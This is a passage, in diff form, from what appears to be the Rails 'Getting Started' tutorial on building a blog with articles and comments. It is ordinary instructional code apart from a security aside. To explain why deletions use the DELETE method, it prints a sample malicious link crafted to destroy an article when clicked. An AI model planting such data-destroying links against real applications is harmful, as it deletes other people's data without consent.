+attributes, which means you don't have to declare attributes inside Rails
+models, as that will be done automatically by Active Record.
+
+### Running a Migration
+
+As we've just seen, `bin/rails generate model` created a _database migration_ file
+inside the `db/migrate` directory. Migrations are Ruby classes that are
+designed to make it simple to create and modify database tables. Rails uses
+rake commands to run migrations, and it's possible to undo a migration after
+it's been applied to your database. Migration filenames include a timestamp to
+ensure that they're processed in the order that they were created.
+
+If you look in the `db/migrate/YYYYMMDDHHMMSS_create_articles.rb` file
+(remember, yours will have a slightly different name), here's what you'll find:
+
+```ruby
+class CreateArticles < ActiveRecord::Migration[5.0]
+  def change
+    create_table :articles do |t|
+      t.string :title
+      t.text :text
+
+      t.timestamps
+    end
+  end
+end
+```
+
+The above migration creates a method named `change` which will be called when
+you run this migration. The action defined in this method is also reversible,
+which means Rails knows how to reverse the change made by this migration,
+in case you want to reverse it later. When you run this migration it will create
+an `articles` table with one string column and a text column. It also creates
+two timestamp fields to allow Rails to track article creation and update times.
+
+TIP: For more information about migrations, refer to [Active Record Migrations]
+(active_record_migrations.html).
+
+At this point, you can use a bin/rails command to run the migration:
+
+```bash
+$ bin/rails db:migrate
+```
+
+Rails will execute this migration command and tell you it created the Articles
+table.
+
+```bash
+==  CreateArticles: migrating ==================================================
+-- create_table(:articles)
+   -> 0.0019s
+==  CreateArticles: migrated (0.0020s) =========================================
+```
+
+NOTE. Because you're working in the development environment by default, this
+command will apply to the database defined in the `development` section of your
+`config/database.yml` file. If you would like to execute migrations in another
+environment, for instance in production, you must explicitly pass it when
+invoking the command: `bin/rails db:migrate RAILS_ENV=production`.
+
+### Saving data in the controller
+
+Back in `ArticlesController`, we need to change the `create` action
+to use the new `Article` model to save the data in the database.
+Open `app/controllers/articles_controller.rb` and change the `create` action to
+look like this:
+
+```ruby
+def create
+  @article = Article.new(params[:article])
+
+  @article.save
+  redirect_to @article
+end
+```
+
+Here's what's going on: every Rails model can be initialized with its
+respective attributes, which are automatically mapped to the respective
+database columns. In the first line we do just that (remember that
+`params[:article]` contains the attributes we're interested in). Then,
+`@article.save` is responsible for saving the model in the database. Finally,
+we redirect the user to the `show` action, which we'll define later.
+
+TIP: You might be wondering why the `A` in `Article.new` is capitalized above, whereas most other references to articles in this guide have used lowercase. In this context, we are referring to the class named `Article` that is defined in `app/models/article.rb`. Class names in Ruby must begin with a capital letter.
+
+TIP: As we'll see later, `@article.save` returns a boolean indicating whether
+the article was saved or not.
+
+If you now go to <http://localhost:3000/articles/new> you'll *almost* be able
+to create an article. Try it! You should get an error that looks like this:
+
+![Forbidden attributes for new article]
+(images/getting_started/forbidden_attributes_for_new_article.png)
+
+Rails has several security features that help you write secure applications,
+and you're running into one of them now. This one is called [strong parameters](action_controller_overview.html#strong-parameters),
+which requires us to tell Rails exactly which parameters are allowed into our
+controller actions.
+
+Why do you have to bother? The ability to grab and automatically assign all
+controller parameters to your model in one shot makes the programmer's job
+easier, but this convenience also allows malicious use. What if a request to
+the server was crafted to look like a new article form submit but also included
+extra fields with values that violated your application's integrity? They would
+be 'mass assigned' into your model and then into the database along with the
+good stuff - potentially breaking your application or worse.
+
+We have to whitelist our controller parameters to prevent wrongful mass
+assignment. In this case, we want to both allow and require the `title` and
+`text` parameters for valid use of `create`. The syntax for this introduces
+`require` and `permit`. The change will involve one line in the `create` action:
+
+```ruby
+  @article = Article.new(params.require(:article).permit(:title, :text))
+```
+
+This is often factored out into its own method so it can be reused by multiple
+actions in the same controller, for example `create` and `update`. Above and
+beyond mass assignment issues, the method is often made `private` to make sure
+it can't be called outside its intended context. Here is the result:
+
+```ruby
+def create
+  @article = Article.new(article_params)
+
+  @article.save
+  redirect_to @article
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+```
+
+TIP: For more information, refer to the reference above and
+[this blog article about Strong Parameters]
+(http://weblog.rubyonrails.org/2012/3/21/strong-parameters/).
+
+### Showing Articles
+
+If you submit the form again now, Rails will complain about not finding the
+`show` action. That's not very useful though, so let's add the `show` action
+before proceeding.
+
+As we have seen in the output of `bin/rails routes`, the route for `show` action is
+as follows:
+
+```
+article GET    /articles/:id(.:format)      articles#show
+```
+
+The special syntax `:id` tells rails that this route expects an `:id`
+parameter, which in our case will be the id of the article.
+
+As we did before, we need to add the `show` action in
+`app/controllers/articles_controller.rb` and its respective view.
+
+NOTE: A frequent practice is to place the standard CRUD actions in each
+controller in the following order: `index`, `show`, `new`, `edit`, `create`, `update`
+and `destroy`. You may use any order you choose, but keep in mind that these
+are public methods; as mentioned earlier in this guide, they must be placed
+before declaring `private` visibility in the controller.
+
+Given that, let's add the `show` action, as follows:
+
+```ruby
+class ArticlesController < ApplicationController
+  def show
+    @article = Article.find(params[:id])
+  end
+
+  def new
+  end
+
+  # snippet for brevity
+```
+
+A couple of things to note. We use `Article.find` to find the article we're
+interested in, passing in `params[:id]` to get the `:id` parameter from the
+request. We also use an instance variable (prefixed with `@`) to hold a
+reference to the article object. We do this because Rails will pass all instance
+variables to the view.
+
+Now, create a new file `app/views/articles/show.html.erb` with the following
+content:
+
+```html+erb
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+```
+
+With this change, you should finally be able to create new articles.
+Visit <http://localhost:3000/articles/new> and give it a try!
+
+![Show action for articles](images/getting_started/show_action_for_articles.png)
+
+### Listing all articles
+
+We still need a way to list all our articles, so let's do that.
+The route for this as per output of `bin/rails routes` is:
+
+```
+articles GET    /articles(.:format)          articles#index
+```
+
+Add the corresponding `index` action for that route inside the
+`ArticlesController` in the `app/controllers/articles_controller.rb` file.
+When we write an `index` action, the usual practice is to place it as the
+first method in the controller. Let's do it:
+
+```ruby
+class ArticlesController < ApplicationController
+  def index
+    @articles = Article.all
+  end
+
+  def show
+    @article = Article.find(params[:id])
+  end
+
+  def new
+  end
+
+  # snippet for brevity
+```
+
+And then finally, add the view for this action, located at
+`app/views/articles/index.html.erb`:
+
+```html+erb
+<h1>Listing articles</h1>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th></th>
+  </tr>
+
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+      <td><%= link_to 'Show', article_path(article) %></td>
+    </tr>
+  <% end %>
+</table>
+```
+
+Now if you go to <http://localhost:3000/articles> you will see a list of all the
+articles that you have created.
+
+### Adding links
+
+You can now create, show, and list articles. Now let's add some links to
+navigate through pages.
+
+Open `app/views/welcome/index.html.erb` and modify it as follows:
+
+```html+erb
+<h1>Hello, Rails!</h1>
+<%= link_to 'My Blog', controller: 'articles' %>
+```
+
+The `link_to` method is one of Rails' built-in view helpers. It creates a
+hyperlink based on text to display and where to go - in this case, to the path
+for articles.
+
+Let's add links to the other views as well, starting with adding this
+"New Article" link to `app/views/articles/index.html.erb`, placing it above the
+`<table>` tag:
+
+```erb
+<%= link_to 'New article', new_article_path %>
+```
+
+This link will allow you to bring up the form that lets you create a new article.
+
+Now, add another link in `app/views/articles/new.html.erb`, underneath the
+form, to go back to the `index` action:
+
+```erb
+<%= form_for :article, url: articles_path do |f| %>
+  ...
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+```
+
+Finally, add a link to the `app/views/articles/show.html.erb` template to
+go back to the `index` action as well, so that people who are viewing a single
+article can go back and view the whole list again:
+
+```html+erb
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<%= link_to 'Back', articles_path %>
+```
+
+TIP: If you want to link to an action in the same controller, you don't need to
+specify the `:controller` option, as Rails will use the current controller by
+default.
+
+TIP: In development mode (which is what you're working in by default), Rails
+reloads your application with every browser request, so there's no need to stop
+and restart the web server when a change is made.
+
+### Adding Some Validation
+
+The model file, `app/models/article.rb` is about as simple as it can get:
+
+```ruby
+class Article < ApplicationRecord
+end
+```
+
+There isn't much to this file - but note that the `Article` class inherits from
+`ApplicationRecord`. `ApplicationRecord` inherits from `ActiveRecord::Base`
+which supplies a great deal of functionality to your Rails models for free,
+including basic database CRUD (Create, Read, Update, Destroy) operations, data
+validation, as well as sophisticated search support and the ability to relate
+multiple models to one another.
+
+Rails includes methods to help you validate the data that you send to models.
+Open the `app/models/article.rb` file and edit it:
+
+```ruby
+class Article < ApplicationRecord
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+```
+
+These changes will ensure that all articles have a title that is at least five
+characters long. Rails can validate a variety of conditions in a model,
+including the presence or uniqueness of columns, their format, and the
+existence of associated objects. Validations are covered in detail in [Active
+Record Validations](active_record_validations.html).
+
+With the validation now in place, when you call `@article.save` on an invalid
+article, it will return `false`. If you open
+`app/controllers/articles_controller.rb` again, you'll notice that we don't
+check the result of calling `@article.save` inside the `create` action.
+If `@article.save` fails in this situation, we need to show the form back to the
+user. To do this, change the `new` and `create` actions inside
+`app/controllers/articles_controller.rb` to these:
+
+```ruby
+def new
+  @article = Article.new
+end
+
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+```
+
+The `new` action is now creating a new instance variable called `@article`, and
+you'll see why that is in just a few moments.
+
+Notice that inside the `create` action we use `render` instead of `redirect_to`
+when `save` returns `false`. The `render` method is used so that the `@article`
+object is passed back to the `new` template when it is rendered. This rendering
+is done within the same request as the form submission, whereas the
+`redirect_to` will tell the browser to issue another request.
+
+If you reload
+<http://localhost:3000/articles/new> and
+try to save an article without a title, Rails will send you back to the
+form, but that's not very useful. You need to tell the user that
+something went wrong. To do that, you'll modify
+`app/views/articles/new.html.erb` to check for error messages:
+
+```html+erb
+<%= form_for :article, url: articles_path do |f| %>
+
+  <% if @article.errors.any? %>
+    <div id="error_explanation">
+      <h2>
+        <%= pluralize(@article.errors.count, "error") %> prohibited
+        this article from being saved:
+      </h2>
+      <ul>
+        <% @article.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
+  <% end %>
+
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+```
+
+A few things are going on. We check if there are any errors with
+`@article.errors.any?`, and in that case we show a list of all
+errors with `@article.errors.full_messages`.
+
+`pluralize` is a rails helper that takes a number and a string as its
+arguments. If the number is greater than one, the string will be automatically
+pluralized.
+
+The reason why we added `@article = Article.new` in the `ArticlesController` is
+that otherwise `@article` would be `nil` in our view, and calling
+`@article.errors.any?` would throw an error.
+
+TIP: Rails automatically wraps fields that contain an error with a div
+with class `field_with_errors`. You can define a css rule to make them
+standout.
+
+Now you'll get a nice error message when saving an article without title when
+you attempt to do just that on the new article form
+<http://localhost:3000/articles/new>:
+
+![Form With Errors](images/getting_started/form_with_errors.png)
+
+### Updating Articles
+
+We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating
+articles.
+
+The first step we'll take is adding an `edit` action to the `ArticlesController`,
+generally between the `new` and `create` actions, as shown:
+
+```ruby
+def new
+  @article = Article.new
+end
+
+def edit
+  @article = Article.find(params[:id])
+end
+
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+```
+
+The view will contain a form similar to the one we used when creating
+new articles. Create a file called `app/views/articles/edit.html.erb` and make
+it look as follows:
+
+```html+erb
+<h1>Edit article</h1>
+
+<%= form_for(@article) do |f| %>
+
+  <% if @article.errors.any? %>
+    <div id="error_explanation">
+      <h2>
+        <%= pluralize(@article.errors.count, "error") %> prohibited
+        this article from being saved:
+      </h2>
+      <ul>
+        <% @article.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
+  <% end %>
+
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+```
+
+This time we point the form to the `update` action, which is not defined yet
+but will be very soon.
+
+Passing the article object to the method, will automagically create url for submitting the edited article form.
+This option tells Rails that we want this form to be submitted
+via the `PATCH` HTTP method which is the HTTP method you're expected to use to
+**update** resources according to the REST protocol.
+
+The first parameter of `form_for` can be an object, say, `@article` which would
+cause the helper to fill in the form with the fields of the object. Passing in a
+symbol (`:article`) with the same name as the instance variable (`@article`)
+also automagically leads to the same behavior.
+More details can be found in [form_for documentation]
+(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for).
+
+Next, we need to create the `update` action in
+`app/controllers/articles_controller.rb`.
+Add it between the `create` action and the `private` method:
+
+```ruby
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+
+def update
+  @article = Article.find(params[:id])
+
+  if @article.update(article_params)
+    redirect_to @article
+  else
+    render 'edit'
+  end
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+```
+
+The new method, `update`, is used when you want to update a record
+that already exists, and it accepts a hash containing the attributes
+that you want to update. As before, if there was an error updating the
+article we want to show the form back to the user.
+
+We reuse the `article_params` method that we defined earlier for the create
+action.
+
+TIP: It is not necessary to pass all the attributes to `update`. For example,
+if `@article.update(title: 'A new title')` was called, Rails would only update
+the `title` attribute, leaving all other attributes untouched.
+
+Finally, we want to show a link to the `edit` action in the list of all the
+articles, so let's add that now to `app/views/articles/index.html.erb` to make
+it appear next to the "Show" link:
+
+```html+erb
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th colspan="2"></th>
+  </tr>
+
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+      <td><%= link_to 'Show', article_path(article) %></td>
+      <td><%= link_to 'Edit', edit_article_path(article) %></td>
+    </tr>
+  <% end %>
+</table>
+```
+
+And we'll also add one to the `app/views/articles/show.html.erb` template as
+well, so that there's also an "Edit" link on an article's page. Add this at the
+bottom of the template:
+
+```html+erb
+...
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+```
+
+And here's how our app looks so far:
+
+![Index action with edit link](images/getting_started/index_action_with_edit_link.png)
+
+### Using partials to clean up duplication in views
+
+Our `edit` page looks very similar to the `new` page; in fact, they
+both share the same code for displaying the form. Let's remove this
+duplication by using a view partial. By convention, partial files are
+prefixed with an underscore.
+
+TIP: You can read more about partials in the
+[Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
+
+Create a new file `app/views/articles/_form.html.erb` with the following
+content:
+
+```html+erb
+<%= form_for @article do |f| %>
+
+  <% if @article.errors.any? %>
+    <div id="error_explanation">
+      <h2>
+        <%= pluralize(@article.errors.count, "error") %> prohibited
+        this article from being saved:
+      </h2>
+      <ul>
+        <% @article.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
+  <% end %>
+
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+
+<% end %>
+```
+
+Everything except for the `form_for` declaration remained the same.
+The reason we can use this shorter, simpler `form_for` declaration
+to stand in for either of the other forms is that `@article` is a *resource*
+corresponding to a full set of RESTful routes, and Rails is able to infer
+which URI and method to use.
+For more information about this use of `form_for`, see [Resource-oriented style]
+(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for-label-Resource-oriented+style).
+
+Now, let's update the `app/views/articles/new.html.erb` view to use this new
+partial, rewriting it completely:
+
+```html+erb
+<h1>New article</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', articles_path %>
+```
+
+Then do the same for the `app/views/articles/edit.html.erb` view:
+
+```html+erb
+<h1>Edit article</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', articles_path %>
+```
+
+### Deleting Articles
+
+We're now ready to cover the "D" part of CRUD, deleting articles from the
+database. Following the REST convention, the route for
+deleting articles as per output of `bin/rails routes` is:
+
+```ruby
+DELETE /articles/:id(.:format)      articles#destroy
+```
+
+The `delete` routing method should be used for routes that destroy
+resources. If this was left as a typical `get` route, it could be possible for
+people to craft malicious URLs like this:
+
+```html
+<a href='http://example.com/articles/1/destroy'>look at this cat!</a>
+```
+
+We use the `delete` method for destroying resources, and this route is mapped
+to the `destroy` action inside `app/controllers/articles_controller.rb`, which
+doesn't exist yet. The `destroy` method is generally the last CRUD action in
+the controller, and like the other public CRUD actions, it must be placed
+before any `private` or `protected` methods. Let's add it:
+
+```ruby
+def destroy
+  @article = Article.find(params[:id])
+  @article.destroy
+
+  redirect_to articles_path
+end
+```
+
+The complete `ArticlesController` in the
+`app/controllers/articles_controller.rb` file should now look like this:
+
+```ruby
+class ArticlesController < ApplicationController
+  def index
+    @articles = Article.all
+  end
+
+  def show
+    @article = Article.find(params[:id])
+  end
+
+  def new
+    @article = Article.new
+  end
+
+  def edit
+    @article = Article.find(params[:id])
+  end
+
+  def create
+    @article = Article.new(article_params)
+
+    if @article.save
+      redirect_to @article
+    else
+      render 'new'
+    end
+  end
+
+  def update
+    @article = Article.find(params[:id])
+
+    if @article.update(article_params)
+      redirect_to @article
+    else
+      render 'edit'
+    end
+  end
+
+  def destroy
+    @article = Article.find(params[:id])
+    @article.destroy
+
+    redirect_to articles_path
+  end
+
+  private
+    def article_params
+      params.require(:article).permit(:title, :text)
+    end
+end
+```
+
+You can call `destroy` on Active Record objects when you want to delete
+them from the database. Note that we don't need to add a view for this
+action since we're redirecting to the `index` action.
+
+Finally, add a 'Destroy' link to your `index` action template
+(`app/views/articles/index.html.erb`) to wrap everything together.
+
+```html+erb
+<h1>Listing Articles</h1>
+<%= link_to 'New article', new_article_path %>
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th colspan="3"></th>
+  </tr>
+
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+      <td><%= link_to 'Show', article_path(article) %></td>
+      <td><%= link_to 'Edit', edit_article_path(article) %></td>
+      <td><%= link_to 'Destroy', article_path(article),
+              method: :delete,
+              data: { confirm: 'Are you sure?' } %></td>
+    </tr>
+  <% end %>
+</table>
+```
+
+Here we're using `link_to` in a different way. We pass the named route as the
+second argument, and then the options as another argument. The `method: :delete`
+and `data: { confirm: 'Are you sure?' }` options are used as HTML5 attributes so
+that when the link is clicked, Rails will first show a confirm dialog to the
+user, and then submit the link with method `delete`.  This is done via the
+JavaScript file `rails-ujs` which is automatically included in your
+application's layout (`app/views/layouts/application.html.erb`) when you
+generated the application. Without this file, the confirmation dialog box won't
+appear.
+
+![Confirm Dialog](images/getting_started/confirm_dialog.png)
+
+TIP: Learn more about Unobtrusive JavaScript on
+[Working With JavaScript in Rails](working_with_javascript_in_rails.html) guide.
+
+Congratulations, you can now create, show, list, update and destroy
+articles.
+
+TIP: In general, Rails encourages using resources objects instead of
+declaring routes manually. For more information about routing, see
+[Rails Routing from the Outside In](routing.html).
+
+Adding a Second Model
+---------------------
+
+It's time to add a second model to the application. The second model will handle
+comments on articles.
+
+### Generating a Model
+
+We're going to see the same generator that we used before when creating
+the `Article` model. This time we'll create a `Comment` model to hold
+reference to an article. Run this command in your terminal:
+
+```bash
+$ bin/rails generate model Comment commenter:string body:text article:references
+```
+
+This command will generate four files:
+
+| File                                         | Purpose                                                                                                |
+| -------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
+| db/migrate/20140120201010_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
+| app/models/comment.rb                        | The Comment model                                                                                      |
+| test/models/comment_test.rb                  | Testing harness for the comment model                                                                 |
+| test/fixtures/comments.yml                   | Sample comments for use in testing                                                                     |
+
+First, take a look at `app/models/comment.rb`:
+
+```ruby
+class Comment < ApplicationRecord
+  belongs_to :article
+end
+```
+
+This is very similar to the `Article` model that you saw earlier. The difference
+is the line `belongs_to :article`, which sets up an Active Record _association_.
+You'll learn a little about associations in the next section of this guide.
+
+The (`:references`) keyword used in the bash command is a special data type for models.
+It creates a new column on your database table with the provided model name appended with an `_id`
+that can hold integer values. To get a better understanding, analyze the
+`db/schema.rb` file after running the migration.
+
+In addition to the model, Rails has also made a migration to create the
+corresponding database table:
+
+```ruby
+class CreateComments < ActiveRecord::Migration[5.0]
+  def change
+    create_table :comments do |t|
+      t.string :commenter
+      t.text :body
+      t.references :article, foreign_key: true
+
+      t.timestamps
+    end
+  end
+end
+```
+
+The `t.references` line creates an integer column called `article_id`, an index
+for it, and a foreign key constraint that points to the `id` column of the `articles`
+table. Go ahead and run the migration:
+
+```bash
+$ bin/rails db:migrate
+```
+
+Rails is smart enough to only execute the migrations that have not already been
+run against the current database, so in this case you will just see:
+
+```bash
+==  CreateComments: migrating =================================================
+-- create_table(:comments)
+   -> 0.0115s
+==  CreateComments: migrated (0.0119s) ========================================
+```
+
+### Associating Models
+
+Active Record associations let you easily declare the relationship between two
+models. In the case of comments and articles, you could write out the
+relationships this way:
+
+* Each comment belongs to one article.
+* One article can have many comments.
+
+In fact, this is very close to the syntax that Rails uses to declare this
+association. You've already seen the line of code inside the `Comment` model
+(app/models/comment.rb) that makes each comment belong to an Article:
+
+```ruby
+class Comment < ApplicationRecord
+  belongs_to :article
+end
+```
+
+You'll need to edit `app/models/article.rb` to add the other side of the
+association:
+
+```ruby
+class Article < ApplicationRecord
+  has_many :comments
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+```
+
+These two declarations enable a good bit of automatic behavior. For example, if
+you have an instance variable `@article` containing an article, you can retrieve
+all the comments belonging to that article as an array using
+`@article.comments`.
+
+TIP: For more information on Active Record associations, see the [Active Record
+Associations](association_basics.html) guide.
+
+### Adding a Route for Comments
+
+As with the `welcome` controller, we will need to add a route so that Rails
+knows where we would like to navigate to see `comments`. Open up the
+`config/routes.rb` file again, and edit it as follows:
+
+```ruby
+resources :articles do
+  resources :comments
+end
+```
+
+This creates `comments` as a _nested resource_ within `articles`. This is
+another part of capturing the hierarchical relationship that exists between
+articles and comments.
+
+TIP: For more information on routing, see the [Rails Routing](routing.html)
+guide.
+
+### Generating a Controller
+
+With the model in hand, you can turn your attention to creating a matching
+controller. Again, we'll use the same generator we used before:
+
+```bash
+$ bin/rails generate controller Comments
+```
+
+This creates five files and one empty directory:
+
+| File/Directory                               | Purpose                                  |
+| -------------------------------------------- | ---------------------------------------- |
+| app/controllers/comments_controller.rb       | The Comments controller                  |
+| app/views/comments/                          | Views of the controller are stored here  |
+| test/controllers/comments_controller_test.rb | The test for the controller              |
+| app/helpers/comments_helper.rb               | A view helper file                       |
+| app/assets/javascripts/comments.coffee       | CoffeeScript for the controller          |
+| app/assets/stylesheets/comments.scss         | Cascading style sheet for the controller |
+
+Like with any blog, our readers will create their comments directly after
+reading the article, and once they have added their comment, will be sent back
+to the article show page to see their comment now listed. Due to this, our
+`CommentsController` is there to provide a method to create comments and delete
+spam comments when they arrive.
+
+So first, we'll wire up the Article show template
+(`app/views/articles/show.html.erb`) to let us make a new comment:
+
+```html+erb
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+```
+
+This adds a form on the `Article` show page that creates a new comment by
+calling the `CommentsController` `create` action. The `form_for` call here uses
+an array, which will build a nested route, such as `/articles/1/comments`.
+
+Let's wire up the `create` in `app/controllers/comments_controller.rb`:
+
+```ruby
+class CommentsController < ApplicationController
+  def create
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.create(comment_params)
+    redirect_to article_path(@article)
+  end
+
+  private
+    def comment_params
+      params.require(:comment).permit(:commenter, :body)
+    end
+end
+```
+
+You'll see a bit more complexity here than you did in the controller for
+articles. That's a side-effect of the nesting that you've set up. Each request
+for a comment has to keep track of the article to which the comment is attached,
+thus the initial call to the `find` method of the `Article` model to get the
+article in question.
+
+In addition, the code takes advantage of some of the methods available for an
+association. We use the `create` method on `@article.comments` to create and
+save the comment. This will automatically link the comment so that it belongs to
+that particular article.
+
+Once we have made the new comment, we send the user back to the original article
+using the `article_path(@article)` helper. As we have already seen, this calls
+the `show` action of the `ArticlesController` which in turn renders the
+`show.html.erb` template. This is where we want the comment to show, so let's
+add that to the `app/views/articles/show.html.erb`.
+
+```html+erb
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<% @article.comments.each do |comment| %>
+  <p>
+    <strong>Commenter:</strong>
+    <%= comment.commenter %>
+  </p>
+
+  <p>
+    <strong>Comment:</strong>
+    <%= comment.body %>
+  </p>
+<% end %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+```
+
+Now you can add articles and comments to your blog and have them show up in the
+right places.
+
+![Article with Comments](images/getting_started/article_with_comments.png)
+
+Refactoring
+-----------
+
+Now that we have articles and comments working, take a look at the
+`app/views/articles/show.html.erb` template. It is getting long and awkward. We
+can use partials to clean it up.
+
+### Rendering Partial Collections
+
+First, we will make a comment partial to extract showing all the comments for
+the article. Create the file `app/views/comments/_comment.html.erb` and put the
+following into it:
+
+```html+erb
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+```
+
+Then you can change `app/views/articles/show.html.erb` to look like the
+following:
+
+```html+erb
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @article.comments %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+```
+
+This will now render the partial in `app/views/comments/_comment.html.erb` once
+for each comment that is in the `@article.comments` collection. As the `render`
+method iterates over the `@article.comments` collection, it assigns each
+comment to a local variable named the same as the partial, in this case
+`comment` which is then available in the partial for us to show.
+
+### Rendering a Partial Form
+
+Let us also move that new comment section out to its own partial. Again, you
+create a file `app/views/comments/_form.html.erb` containing:
+
+```html+erb
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+```
+
+Then you make the `app/views/articles/show.html.erb` look like the following:
+
+```html+erb
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @article.comments %>
+
+<h2>Add a comment:</h2>
+<%= render 'comments/form' %>
+
+<%= link_to 'Edit', edit_article_path(@article) %> |
+<%= link_to 'Back', articles_path %>
+```
+
+The second render just defines the partial template we want to render,
+`comments/form`. Rails is smart enough to spot the forward slash in that
+string and realize that you want to render the `_form.html.erb` file in
+the `app/views/comments` directory.
+
+The `@article` object is available to any partials rendered in the view because
+we defined it as an instance variable.
+
+Deleting Comments
+-----------------
+
+Another important feature of a blog is being able to delete spam comments. To do
+this, we need to implement a link of some sort in the view and a `destroy`
+action in the `CommentsController`.
+
+So first, let's add the delete link in the
+`app/views/comments/_comment.html.erb` partial:
+
+```html+erb
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+
+<p>
+  <%= link_to 'Destroy Comment', [comment.article, comment],
+               method: :delete,
+               data: { confirm: 'Are you sure?' } %>
+</p>
+```
+
+Clicking this new "Destroy Comment" link will fire off a `DELETE
+/articles/:article_id/comments/:id` to our `CommentsController`, which can then
+use this to find the comment we want to delete, so let's add a `destroy` action
+to our controller (`app/controllers/comments_controller.rb`):
+
+```ruby
+class CommentsController < ApplicationController
+  def create
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.create(comment_params)
+    redirect_to article_path(@article)
+  end
+
+  def destroy
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.find(params[:id])
+    @comment.destroy
+    redirect_to article_path(@article)
+  end
+
+  private
+    def comment_params
